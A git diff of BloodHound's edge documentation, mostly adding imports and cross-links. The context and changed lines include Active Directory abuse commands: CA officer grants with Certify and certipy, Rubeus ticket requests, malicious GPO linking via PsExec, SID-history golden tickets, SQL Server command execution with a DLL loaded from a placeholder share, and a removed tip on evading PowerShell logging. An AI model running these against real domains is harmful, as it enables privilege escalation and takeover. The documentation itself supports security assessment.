-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/local-to-computer.mdx b/docs/resources/edges/local-to-computer.mdx
index 0b4bb1d9..89fe4e5c 100644
--- a/docs/resources/edges/local-to-computer.mdx
+++ b/docs/resources/edges/local-to-computer.mdx
@@ -3,7 +3,9 @@ title: LocalToComputer
description: The LocalGroup is a local group on the Computer.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/manage-ca.mdx b/docs/resources/edges/manage-ca.mdx
index f3dbe7b6..72b458ae 100644
--- a/docs/resources/edges/manage-ca.mdx
+++ b/docs/resources/edges/manage-ca.mdx
@@ -3,15 +3,17 @@ title: ManageCA
description: The principal has the "Manage CA", also known as "CA Administrator", permission on the Enterprise CA.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
This permission allows the principal to configure the CA to allow subject alternate names, publish certificate templates, grant "Manage Certificates", grant enrollment rights, change certain CA flags, and more.
CA Administrators can perform the following actions that may enable an ADCS escalation:
-1. Grant CA Officer (ManageCertificates) and approve a denied certificate request
+1. Grant CA Officer ([ManageCertificates](/resources/edges/manage-certificates)) and approve a denied certificate request
2. Publish a certificate template (e.g. one that enables an ESC1 condition)
-3. Grant Enroll on the enterprise CA
+3. Grant [Enroll](/resources/edges/enroll) on the enterprise CA
4. Enable the ESC6 CA flag `EDITF_ATTRIBUTESUBJECTALTNAME2`
5. Disable the ESC11 enforcement flag `IF_ENFORCEENCRYPTICERTREQUEST` (weakens RPC enrollment security; enables relay)
6. Disable the security extension on the enterprise CA (ESC16)
@@ -25,11 +27,11 @@ This relationship alone is not automatically a privilege escalation; however, it
### 1. Grant CA Officer and Approve a Denied Request
-Role separation (when enabled) prevents a single principal from holding both ManageCA and ManageCertificates, but this configuration is rare.
+Role separation (when enabled) prevents a single principal from holding both ManageCA and [ManageCertificates](/resources/edges/manage-certificates), but this configuration is rare.
**Windows**
-Grant the CA Officer (ManageCertificates) role with Certify (v2.0):
+Grant the CA Officer ([ManageCertificates](/resources/edges/manage-certificates)) role with Certify (v2.0):
```cmd
Certify.exe manage-ca --ca ca01.corp.local\CORP-CA01-CA --officer S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-12345
```
@@ -51,7 +53,7 @@ Rubeus.exe asktgt /user:Administrator /certificate: /ptt
```
**Linux**
-Grant CA Officer (ManageCertificates) role:
+Grant CA Officer ([ManageCertificates](/resources/edges/manage-certificates)) role:
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password 'Passw0rd'
```
@@ -82,7 +84,7 @@ certipy ca -ca 'corp-DC-CA' -enable-template TemplateCN -username john@corp.loca
See the ADCS ESC1 abuse documentation for subsequent exploitation steps: [ADCSESC1](/resources/edges/adcs-esc1)
-### 3. Grant Enroll on Enterprise CA
+### 3. Grant [Enroll](/resources/edges/enroll) on Enterprise CA
**Windows**
@@ -147,4 +149,3 @@ This edge is related to the following MITRE ATT&CK tactic and techniques:
* [Certify wiki - Escalation Techniques - ManageCA](https://github.com/GhostPack/Certify/wiki/4-%E2%80%90-Escalation-Techniques#manageca)
* [ESC7: Dangerous Permissions on CA (Certipy wiki)](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc7-dangerous-permissions-on-ca)
* [AD CS: from ManageCA to RCE](https://www.tarlogic.com/blog/ad-cs-manageca-rce/)
-
diff --git a/docs/resources/edges/manage-certificates.mdx b/docs/resources/edges/manage-certificates.mdx
index 722da85f..236baba1 100644
--- a/docs/resources/edges/manage-certificates.mdx
+++ b/docs/resources/edges/manage-certificates.mdx
@@ -3,7 +3,9 @@ title: ManageCertificates
description: The principal has the "Manage Certificates", also known as "CA Officer", permission on the Enterprise CA.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
This permission allows the principal to approve certificate requests that require manager approval and to modify certain properties (e.g., adding extensions to pending certificates). It does not by itself guarantee a privilege escalation but often removes a final barrier (manager approval) in ADCS abuse paths.
diff --git a/docs/resources/edges/member-of-local-group.mdx b/docs/resources/edges/member-of-local-group.mdx
index e14744c6..4e70c5ca 100644
--- a/docs/resources/edges/member-of-local-group.mdx
+++ b/docs/resources/edges/member-of-local-group.mdx
@@ -3,7 +3,9 @@ title: MemberOfLocalGroup
description: From a Principal to LocalGroup. Principal is a member of the LocalGroup.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/member-of.mdx b/docs/resources/edges/member-of.mdx
index 5784b5dd..cd4923b5 100644
--- a/docs/resources/edges/member-of.mdx
+++ b/docs/resources/edges/member-of.mdx
@@ -3,7 +3,9 @@ title: MemberOf
description: Groups in active directory grant their members any privileges the group itself has.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
If a group has rights to another principal, users/computers in the group, as well as other groups inside the group inherit those permissions.
diff --git a/docs/resources/edges/nt-auth-store-for.mdx b/docs/resources/edges/nt-auth-store-for.mdx
index 3164d4c8..f379cb5b 100644
--- a/docs/resources/edges/nt-auth-store-for.mdx
+++ b/docs/resources/edges/nt-auth-store-for.mdx
@@ -3,19 +3,22 @@ title: NTAuthStoreFor
description: The NTAuthStore is the Enterprise NTAuth store (NTAuthCertificates object) for the AD forest of the domain node.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
-The NTAuthStore is the Enterprise NTAuth store (NTAuthCertificates object) for the AD forest of the domain node. The NTAuthStore holds the list of certificates trusted for authentication in the AD forest of the domain. When a user attempts to authenticate against a domain with a certificate, a domain controller will verify that the certificate is signed by a certificate in the NTAuthStore.
-The NTAuthStore holds the list of certificates trusted for authentication in the AD forest of the domain. When a user attempts to authenticate against a domain with a certificate, a domain controller will verify that the certificate is signed by a certificate in the NTAuthStore.
+
+The [NTAuthStore](/resources/nodes/nt-auth-store) is the Enterprise NTAuth store (NTAuthCertificates object) for the AD forest of the domain node. The NTAuthStore holds the list of certificates trusted for authentication in the AD forest of the domain. When a user attempts to authenticate against a domain with a certificate, a domain controller will verify that the certificate is signed by a certificate in the NTAuthStore.
+The [NTAuthStore](/resources/nodes/nt-auth-store) holds the list of certificates trusted for authentication in the AD forest of the domain. When a user attempts to authenticate against a domain with a certificate, a domain controller will verify that the certificate is signed by a certificate in the NTAuthStore.
## Abuse Info
-An attacker may perform several attacks that rely on certificates being stored in the NTAuthStore, such as ESC1. This relationship alone is not enough to escalate rights or impersonate other principals. This relationship may contribute to other relationships and attributes, from which an escalation opportunity may emerge.
+An attacker may perform several attacks that rely on certificates being stored in the [NTAuthStore](/resources/nodes/nt-auth-store), such as ESC1. This relationship alone is not enough to escalate rights or impersonate other principals. This relationship may contribute to other relationships and attributes, from which an escalation opportunity may emerge.
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/oid-group-link.mdx b/docs/resources/edges/oid-group-link.mdx
index 82d851d1..cc9ec5e5 100644
--- a/docs/resources/edges/oid-group-link.mdx
+++ b/docs/resources/edges/oid-group-link.mdx
@@ -2,9 +2,13 @@
title: OIDGroupLink
description: The edge indicates that an IssuancePolicy has an OID group link to a group.
---
-
-Certificate templates may include the IssuancePolicy as an issuance policy extension. Users authenticating using a certificate of such a certificate template will be granted access as a member of the group.
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
+
+Certificate templates may include the [IssuancePolicy](/resources/nodes/issuance-policy) as an issuance policy extension. Users authenticating using a certificate of such a certificate template will be granted access as a member of the group.
## Abuse Info
@@ -12,7 +16,7 @@ An attacker may perform the ADCS ESC13 abuse which relies on the OID group link.
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/overview.mdx b/docs/resources/edges/overview.mdx
index 540a9a80..89f9747a 100644
--- a/docs/resources/edges/overview.mdx
+++ b/docs/resources/edges/overview.mdx
@@ -3,14 +3,16 @@ title: About BloodHound Edges
description: "Edges are part of the graph construct and are represented as links/relationships that connect one node to another node."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
- For example, the image below shows three User nodes (left side) connected to one Group node (right side), via the “MemberOf” edge, indicating the three users belong to the group:
+
+
+ For example, the image below shows three [User](/resources/nodes/user) nodes (left side) connected to one [Group](/resources/nodes/group) node (right side), via the [MemberOf](/resources/edges/member-of) edge, indicating the three users belong to the group:
-The direction of the edge, indicated by the arrow, always indicates the direction of attack or privilege. From the above example, because all three users have a "MemberOf" edge pointing towards the group, all three users have the same privileges as the group.
+The direction of the edge, indicated by the arrow, always indicates the direction of attack or privilege. From the above example, because all three users have a [MemberOf](/resources/edges/member-of) edge pointing towards the group, all three users have the same privileges as the group.
Clicking on an Edge's name/label in the graph shows its properties in the Entity Panel:
diff --git a/docs/resources/edges/owns-limited-rights.mdx b/docs/resources/edges/owns-limited-rights.mdx
index 176a5680..64500140 100644
--- a/docs/resources/edges/owns-limited-rights.mdx
+++ b/docs/resources/edges/owns-limited-rights.mdx
@@ -3,7 +3,9 @@ title: OwnsLimitedRights
description: "When specific privileges on an object's DACL are explicitly granted to the `OWNER RIGHTS` SID (S-1-3-4), implicit owner rights (e.g., WriteDacl) are blocked, and the owner is granted only the specific privileges granted to OWNER RIGHTS. This can be used to limit the rights of the owner of an object."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/owns-raw.mdx b/docs/resources/edges/owns-raw.mdx
index d10ac624..d903c72e 100644
--- a/docs/resources/edges/owns-raw.mdx
+++ b/docs/resources/edges/owns-raw.mdx
@@ -3,7 +3,9 @@ title: OwnsRaw
description: "This edge is established from the principal that owns an object to the owned object. This edge is processed further to determine whether implicit owner rights (e.g., WriteDacl) are blocked, which may prevent the owner from compromising the destination object."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Edge Schema
diff --git a/docs/resources/edges/owns.mdx b/docs/resources/edges/owns.mdx
index 5b67d816..289678ed 100644
--- a/docs/resources/edges/owns.mdx
+++ b/docs/resources/edges/owns.mdx
@@ -3,7 +3,10 @@ title: Owns
description: Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdPermissionModificationOpsec from '/snippets/edges/ad-permission-modification-opsec.mdx';
+
+
This clip shows an example of abusing object ownership:
@@ -11,15 +14,13 @@ This clip shows an example of abusing object ownership:
## Abuse Info
-With ownership of the object, you may modify the DACL of the object however you wish. For more information about that, see the WriteDacl edge section.
+With ownership of the object, you may modify the DACL of the object however you wish. For more information about that, see the [WriteDacl](/resources/edges/write-dacl) edge section.
## Opsec Considerations
This depends on the target object and how to take advantage of this privilege.
-When using the PowerView functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what’s going on with PowerShell in their network, such as script block logging and AMSI. You can bypass those security mechanisms by downgrading to PowerShell v2, which all PowerView functions support.
-
-Modifying permissions on an object will generate 4670 and 4662 events on the domain controller that handled the request.
+
## Edge Schema
diff --git a/docs/resources/edges/protect-admin-groups.mdx b/docs/resources/edges/protect-admin-groups.mdx
index 8f5d073a..f98a36bf 100644
--- a/docs/resources/edges/protect-admin-groups.mdx
+++ b/docs/resources/edges/protect-admin-groups.mdx
@@ -3,18 +3,16 @@ title: ProtectAdminGroups
description: The ProtectAdminGroups background task tattoos the AdminSDHolder security descriptor on this node.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
AdminSDHolder is an Active Directory container which acts as a security descriptor template. The associated ProtectAdminGroups (not SDProp) background task runs on the domain controller holding the PDCe FSMO role. Any modifications made to the security descriptor of the AdminSDHolder container will be tattooed on the target node by the ProtectAdminGroups background task every hour, by default.
## Abuse Info
Any modifications to the AdminSDHolder node's security descriptor via inbound [Owns](/resources/edges/owns), [WriteOwner](/resources/edges/write-owner), or
-[WriteDACL](/resources/edges/write-dacl) edges will propagate to all nodes with an inbound ProtectAdminGroups edge from the originating
+[WriteDacl](/resources/edges/write-dacl) edges will propagate to all nodes with an inbound ProtectAdminGroups edge from the originating
AdminSDHolder node at the next run of the ProtectAdminGroups background task on the PDCe for the domain.
The amount of time between ProtectAdminGroups run cycles defaults to 1 hour, but is controlled via a
diff --git a/docs/resources/edges/published-to.mdx b/docs/resources/edges/published-to.mdx
index 100456ff..2ee9aa71 100644
--- a/docs/resources/edges/published-to.mdx
+++ b/docs/resources/edges/published-to.mdx
@@ -3,7 +3,9 @@ title: PublishedTo
description: The certificate template is published to an enterprise certification authority.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
This relationship means the certificate template can be used when submitting an enrollment request to the specified
certification authority.
diff --git a/docs/resources/edges/read-gmsa-password.mdx b/docs/resources/edges/read-gmsa-password.mdx
index 12d4a49c..1ea5d421 100644
--- a/docs/resources/edges/read-gmsa-password.mdx
+++ b/docs/resources/edges/read-gmsa-password.mdx
@@ -3,11 +3,13 @@ title: ReadGMSAPassword
description: This privilege allows you to read the password for a Group Managed Service Account (GMSA).
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
-Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval (check the MSDS-ManagedPasswordInterval attribute).
+
+Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval (check the `msDS-ManagedPasswordInterval` attribute).
The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.
@@ -17,7 +19,7 @@ There are several ways to abuse the ability to read the GMSA password. The most
If the GMSA is logged on to the computer account granted the ability to retrieve the GMSA’s password, simply steal the token from the process running as the GMSA, or inject it into that process.
-If the GMSA is not logged onto the computer, you may create a scheduled task or service set to run as the GMSA. The computer account will start the scheduled task or service as the GMSA, and then you may abuse the GMSA logon in the same fashion you would a standard user running processes on the machine (see the “HasSession” help modal for more details).
+If the GMSA is not logged onto the computer, you may create a scheduled task or service set to run as the GMSA. The computer account will start the scheduled task or service as the GMSA, and then you may abuse the GMSA logon in the same fashion you would a standard user running processes on the machine (see the [HasSession](/resources/edges/has-session) help modal for more details).
Finally, it is possible to remotely retrieve the password for the GMSA and convert that password to its equivalent NT hash, then perform overpass-the-hash to retrieve a Kerberos ticket for the GMSA. Windows and Linux methods are shown below.
@@ -38,7 +40,7 @@ At this point, you are ready to use the NT hash like you would with a regular us
## Opsec Considerations
-When abusing a GMSA that is already logged onto a system, you will have the same opsec considerations as when abusing a standard user logon. For more information about that, see the “HasSession” modal’s opsec considerations tab.
+When abusing a GMSA that is already logged onto a system, you will have the same opsec considerations as when abusing a standard user logon. For more information about that, see the [HasSession](/resources/edges/has-session) modal’s opsec considerations tab.
When retrieving the GMSA password from Active Directory, you may generate a 4662 event on the Domain Controller; however, that event will likely perfectly resemble a legitimate event if you request the password from the same context as a computer account that is already authorized to read the GMSA password.
diff --git a/docs/resources/edges/read-laps-password.mdx b/docs/resources/edges/read-laps-password.mdx
index c66fc611..00febe98 100644
--- a/docs/resources/edges/read-laps-password.mdx
+++ b/docs/resources/edges/read-laps-password.mdx
@@ -3,21 +3,23 @@ title: ReadLAPSPassword
description: This privilege allows a principal to read the LAPS password from a computer.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
For systems using legacy LAPS, the following AD computer object properties are relevant:
-* **ms-Mcs-AdmPwd**: The plaintext LAPS password
-* **ms-Mcs-AdmPwdExpirationTime**: The LAPS password expiration time
+* `ms-Mcs-AdmPwd`: The plaintext LAPS password
+* `ms-Mcs-AdmPwdExpirationTime`: The LAPS password expiration time
For systems using Windows LAPS (2023 edition), the following AD computer object properties are relevant:
-* **msLAPS-Password**: The plaintext LAPS password
-* **msLAPS-PasswordExpirationTime**: The LAPS password expiration time
-* **msLAPS-EncryptedPassword**: The encrypted LAPS password
-* **msLAPS-EncryptedPasswordHistory**: The encrypted LAPS password history
-* **msLAPS-EncryptedDSRMPassword**: The encrypted Directory Services Restore Mode (DSRM) password
-* **msLAPS-EncryptedDSRMPasswordHistory**: The encrypted DSRM password history
+* `msLAPS-Password`: The plaintext LAPS password
+* `msLAPS-PasswordExpirationTime`: The LAPS password expiration time
+* `msLAPS-EncryptedPassword`: The encrypted LAPS password
+* `msLAPS-EncryptedPasswordHistory`: The encrypted LAPS password history
+* `msLAPS-EncryptedDSRMPassword`: The encrypted Directory Services Restore Mode (DSRM) password
+* `msLAPS-EncryptedDSRMPasswordHistory`: The encrypted DSRM password history
## Abuse Info
@@ -53,4 +55,4 @@ Traversable: **Yes**
* [https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsadpassword](https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsadpassword)
* [https://github.com/xpn/RandomTSScripts/tree/master/lapsv2decrypt](https://github.com/xpn/RandomTSScripts/tree/master/lapsv2decrypt)
* [https://github.com/CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD)
-* [https://specterops.io/blog/2018/08/07/bloodhound-2-0/](https://specterops.io/blog/2018/08/07/bloodhound-2-0/)
\ No newline at end of file
+* [https://specterops.io/blog/2018/08/07/bloodhound-2-0/](https://specterops.io/blog/2018/08/07/bloodhound-2-0/)
diff --git a/docs/resources/edges/remote-interactive-logon-right.mdx b/docs/resources/edges/remote-interactive-logon-right.mdx
index 0c169ee5..79781566 100644
--- a/docs/resources/edges/remote-interactive-logon-right.mdx
+++ b/docs/resources/edges/remote-interactive-logon-right.mdx
@@ -3,7 +3,9 @@ title: RemoteInteractiveLogonRight
description: From Principal to Computer. Principal has the SeRemoteInteractiveLogonRight on the Computer.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
For RDP access the principal also needs membership in the computer's local Remote Desktop Users group, which related to the edge [MemberOfLocalGroup](/resources/edges/member-of-local-group). When RDP access is possible, the principal will have the edge [CanRDP](/resources/edges/can-rdp).
diff --git a/docs/resources/edges/root-ca-for.mdx b/docs/resources/edges/root-ca-for.mdx
index b273bc09..8fb81380 100644
--- a/docs/resources/edges/root-ca-for.mdx
+++ b/docs/resources/edges/root-ca-for.mdx
@@ -3,7 +3,10 @@ title: RootCAFor
description: The CA is trusted as a root certification authority by the domain.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
+
+
Any certificates signed by this CA will be trusted by the domain and all hosts in the domain.
@@ -15,7 +18,7 @@ edges and attributes, from which an escalation opportunity may emerge.
## Opsec Considerations
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
diff --git a/docs/resources/edges/same-forest-trust.mdx b/docs/resources/edges/same-forest-trust.mdx
index 38e7f0c8..a8b1b2af 100644
--- a/docs/resources/edges/same-forest-trust.mdx
+++ b/docs/resources/edges/same-forest-trust.mdx
@@ -3,7 +3,9 @@ title: SameForestTrust
description: The SameForestTrust edge represents a trust relationship between two domains within the same AD forest.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
In this relationship, the source node domain has a same-forest (intraforest) trust to the destination node domain, allowing principals (users and computers) from the destination domain to access resources in the source domain.
@@ -47,7 +49,7 @@ If ADCS is not installed: An attacker can install ADCS and exploit it, as detail
### **GPO linked on Site**
-AD sites are stored in the forest-wide Configuration NC partition, writable by any DC within the forest. An attacker with SYSTEM access to a DC can link a malicious GPO to the site of any DC in the forest.
+AD sites are stored in the forest-wide Configuration NC partition, writable by any DC within the forest. An attacker with SYSTEM access to a DC can link a malicious [GPO](/resources/nodes/gpo) to the site of any DC in the forest.
**Step 1: Obtain a SYSTEM session on a DC in the attacker-controlled domain**
Use PsExec to start a PowerShell terminal as SYSTEM on the DC:
@@ -56,14 +58,14 @@ Use PsExec to start a PowerShell terminal as SYSTEM on the DC:
PsExec64.exe -s -i -accepteula powershell
```
-**Step 2: Create a GPO**
-Use the GroupPolicy module of RSAT to create the new GPO:
+**Step 2: Create a [GPO](/resources/nodes/gpo)**
+Use the GroupPolicy module of RSAT to create the new [GPO](/resources/nodes/gpo):
```powershell
New-GPO -Name "MyGPO"
```
-**Step 3: Add the compromising setting to the GPO**
+**Step 3: Add the compromising setting to the [GPO](/resources/nodes/gpo)**
Use SharpGPOAbuse to add a scheduled task:
```powershell
@@ -83,9 +85,9 @@ Look up the site DistinguishedName:
Get-ADReplicationSite Default-First-Site-Name | select DistinguishedName
```
-**Step 5: Set the GPO permissions**
+**Step 5: Set the [GPO](/resources/nodes/gpo) permissions**
-This step is important to avoid applying the GPO to all computers connected to the site. Use the GroupPolicy module of RSAT to modify the permissions such that Authenticated Users can read the object but only the targeted computer applies the GPO settings:
+This step is important to avoid applying the [GPO](/resources/nodes/gpo) to all computers connected to the site. Use the GroupPolicy module of RSAT to modify the permissions such that Authenticated Users can read the object but only the targeted computer applies the GPO settings:
```powershell
$GPO = Get-GPO -Name "MyGPO"
@@ -93,16 +95,16 @@ $GPO | Set-GPPermissions -PermissionLevel GpoRead -TargetName "Authenticated Use
$GPO | Set-GPPermissions -PermissionLevel GpoApply -TargetName "BASTION\\bldc01" -TargetType Computer
```
-**Step 6: Link the GPO to the site**
-Use the GroupPolicy module of RSAT to link the GPO to the site:
+**Step 6: Link the [GPO](/resources/nodes/gpo) to the site**
+Use the GroupPolicy module of RSAT to link the [GPO](/resources/nodes/gpo) to the site:
```powershell
New-GPLink -Name "MyGPO" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=bastion,DC=local" -Server dc01.dumpster.fire
```
-Note that you must specify the server to be the DC where you are running the command, as the command defaults to execute the change on a root domain DC where the compromised DC does not have the permissions to link the GPO.
+Note that you must specify the server to be the DC where you are running the command, as the command defaults to execute the change on a root domain DC where the compromised DC does not have the permissions to link the [GPO](/resources/nodes/gpo).
-Wait until replication has happened and the GPO has applied on the target DC, and log in with Administrators access on the compromised DC. Replication within the same site happens within 15 seconds but runs on 3 hour schedule by default across sites. GPOs are applied on a 90-120 min interval by default.
+Wait until replication has happened and the [GPO](/resources/nodes/gpo) has applied on the target DC, and log in with Administrators access on the compromised DC. Replication within the same site happens within 15 seconds but runs on 3 hour schedule by default across sites. GPOs are applied on a 90-120 min interval by default.
## Opsec Considerations
diff --git a/docs/resources/edges/spoof-sid-history.mdx b/docs/resources/edges/spoof-sid-history.mdx
index aea4b649..e12d340a 100644
--- a/docs/resources/edges/spoof-sid-history.mdx
+++ b/docs/resources/edges/spoof-sid-history.mdx
@@ -3,7 +3,9 @@ title: SpoofSIDHistory
description: The cross-forest trust from the target domain to the source domain has a weak SID filtering configuration (SpoofSIDHistoryBlocked = False).
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
The target domain allows principals of the source domain access by SIDs of the target domain in their SID history. An attacker with control over the source domain can craft access requests with manipulated SID history containing SIDs of privileged principals of the target domain to gain control over the target domain.
@@ -21,15 +23,15 @@ Common viable targets with indirect full control over the environment include:
- Entra ID sync (MSOL_) accounts
- Custom groups with administrative control over Tier Zero assets
-Alternatively, an attacker can target a domain controller (DC) and use resource-based constrained delegation (RBCD) to obtain a local TGT as the DC, which can then be used for a DCSync attack on the target domain. However, the RBCD attack requires control over an account (user or computer) in the target forest. If no such account is available and the default permissions for creating computers have not been restricted, the attacker can first spoof SID history against a target with permissions to create computer accounts, to then perform the RBCD attack against a DC.
+Alternatively, an attacker can target a domain controller (DC) and use resource-based constrained delegation (RBCD) to obtain a local TGT as the DC, which can then be used for a [DCSync](/resources/edges/dc-sync) attack on the target domain. However, the RBCD attack requires control over an account (user or computer) in the target forest. If no such account is available and the default permissions for creating computers have not been restricted, the attacker can first spoof SID history against a target with permissions to create computer accounts, to then perform the RBCD attack against a DC.
The spoofed SID can be added to SID history at three different levels for the attacker-controlled user of the trusted domain:
-1. In the user's SID History AD attribute
+1. In the user's `sIDHistory` AD attribute
2. In the user's Kerberos TGT
3. In the user's Kerberos inter-realm TGT
-The first option enables the attack over both Kerberos and NTLM, whereas the latter two only apply to Kerberos authentication. However, modifying the SID History attribute is risky — it cannot be edited directly via LDAP or built-in AD tools. Mimikatz supports modifying it with the command `sid::patch` followed by `sid::add`, but `sid::patch` does not work on Windows Server 2016 and later. It is possible to modify the SID History attribute using the DSInternals command `Add-ADDBSidHistory`, but this requires stopping and restarting the NTDS service, which is not recommended in a production environment.
+The first option enables the attack over both Kerberos and NTLM, whereas the latter two only apply to Kerberos authentication. However, modifying the `sIDHistory` attribute is risky — it cannot be edited directly via LDAP or built-in AD tools. Mimikatz supports modifying it with the command `sid::patch` followed by `sid::add`, but `sid::patch` does not work on Windows Server 2016 and later. It is possible to modify the `sIDHistory` attribute using the DSInternals command `Add-ADDBSidHistory`, but this requires stopping and restarting the NTDS service, which is not recommended in a production environment.
The second and third options are safer. The following example demonstrates the second option.
@@ -37,7 +39,7 @@ The second and third options are safer. The following example demonstrates the s
**Step 1) Obtain krbtgt Credentials**
-The krbtgt credentials can be obtained in multiple ways with administrative access to a DC in the trusted domain, such as via a DCSync attack.
+The krbtgt credentials can be obtained in multiple ways with administrative access to a DC in the trusted domain, such as via a [DCSync](/resources/edges/dc-sync) attack.
**Step 2) Forge and Inject a Golden Ticket**
@@ -86,4 +88,4 @@ Traversable: **Yes**
* [Rubeus](https://github.com/GhostPack/Rubeus)
* [ticketer.py](https://github.com/fortra/impacket/blob/master/examples/ticketer.py)
* [The Hacker Recipes: SID History](https://www.thehacker.recipes/ad/persistence/sid-history)
-* [Good Fences Make Good Neighbors: New AD Trusts Attack Paths in BloodHound](https://specterops.io/blog/2025/06/25/good-fences-make-good-neighbors-new-ad-trusts-attack-paths-in-bloodhound/)
\ No newline at end of file
+* [Good Fences Make Good Neighbors: New AD Trusts Attack Paths in BloodHound](https://specterops.io/blog/2025/06/25/good-fences-make-good-neighbors-new-ad-trusts-attack-paths-in-bloodhound/)
diff --git a/docs/resources/edges/sql-admin.mdx b/docs/resources/edges/sql-admin.mdx
index 21162e8f..9fe84585 100644
--- a/docs/resources/edges/sql-admin.mdx
+++ b/docs/resources/edges/sql-admin.mdx
@@ -3,7 +3,9 @@ title: SQLAdmin
description: The user is a SQL admin on the target computer
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
There is at least one MSSQL instance running on the computer where the user with the inbound SQLAdmin edge is the account configured to run the SQL Server instance. The typical configuration for MSSQL is to have the local Windows account or Active Directory domain account that is configured to run the SQL Server service (the primary database engine for SQL Server) have sysadmin privileges in the SQL Server application. As a result, the SQL Server service account can be used to log into the SQL Server instance remotely, read all of the databases (including those protected with transparent encryption), and run operating systems command through SQL Server (as the service account) using a variety of techniques.
@@ -32,7 +34,7 @@ Get-SQLColumnSampleDataThreaded –Verbose -Instance sqlserver\\instance –Thre
Below are examples of PowerUpSQL functions that can be used to execute operating system commands on remote systems through SQL Server using different techniques. The level of access on the operating system will depend largely what privileges are provided to the service account. However, when domain accounts are configured to run SQL Server services, it is very common to see them configured with local administrator privileges.
-xp_cmdshell Execute Example:
+`xp_cmdshell` Execute Example:
```
Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10 -Instance sqlserver\instance
```
@@ -83,7 +85,7 @@ Create-SQLFileXpDll -Verbose -OutFile c:\temp\test.dll -Command "echo test > c:\
2. Host the test.dll on a share readable by the SQL Server service account:
```
-Get-SQLQuery -Verbose -Query "sp\_addextendedproc 'xp\_test', '\\\yourserver\\yourshare\\myxp.dll'" -Instance sqlserver\instance
+Get-SQLQuery -Verbose -Query "sp_addextendedproc 'xp_test', '\\\yourserver\\yourshare\\myxp.dll'" -Instance sqlserver\instance
```
3. Run extended stored procedure:
@@ -93,7 +95,7 @@ Get-SQLQuery -Verbose -Query "xp_test" -Instance sqlserver\instance
4. Remove extended stored procedure:
```
-Get-SQLQuery -Verbose -Query "sp\_dropextendedproc 'xp\_test'" -Instance sqlserver\instance
+Get-SQLQuery -Verbose -Query "sp_dropextendedproc 'xp_test'" -Instance sqlserver\instance
```
## Opsec Considerations
@@ -102,44 +104,44 @@ Prior to executing operating system commands through SQL Server, review the audi
View audits:
```
-SELECT * FROM sys.dm\_server\_audit_status
+SELECT * FROM sys.dm_server_audit_status
```
View server specifications:
```
SELECT audit_id,
a.name as audit_name,
-s.name as server\_specification\_name,
-d.audit\_action\_name,
-s.is\_state\_enabled,
+s.name as server_specification_name,
+d.audit_action_name,
+s.is_state_enabled,
d.is_group,
-d.audit\_action\_id,
+d.audit_action_id,
s.create_date,
s.modify_date
FROM sys.server_audits AS a
-JOIN sys.server\_audit\_specifications AS s
+JOIN sys.server_audit_specifications AS s
ON a.audit_guid = s.audit_guid
-JOIN sys.server\_audit\_specification_details AS d
-ON s.server\_specification\_id = d.server\_specification\_id
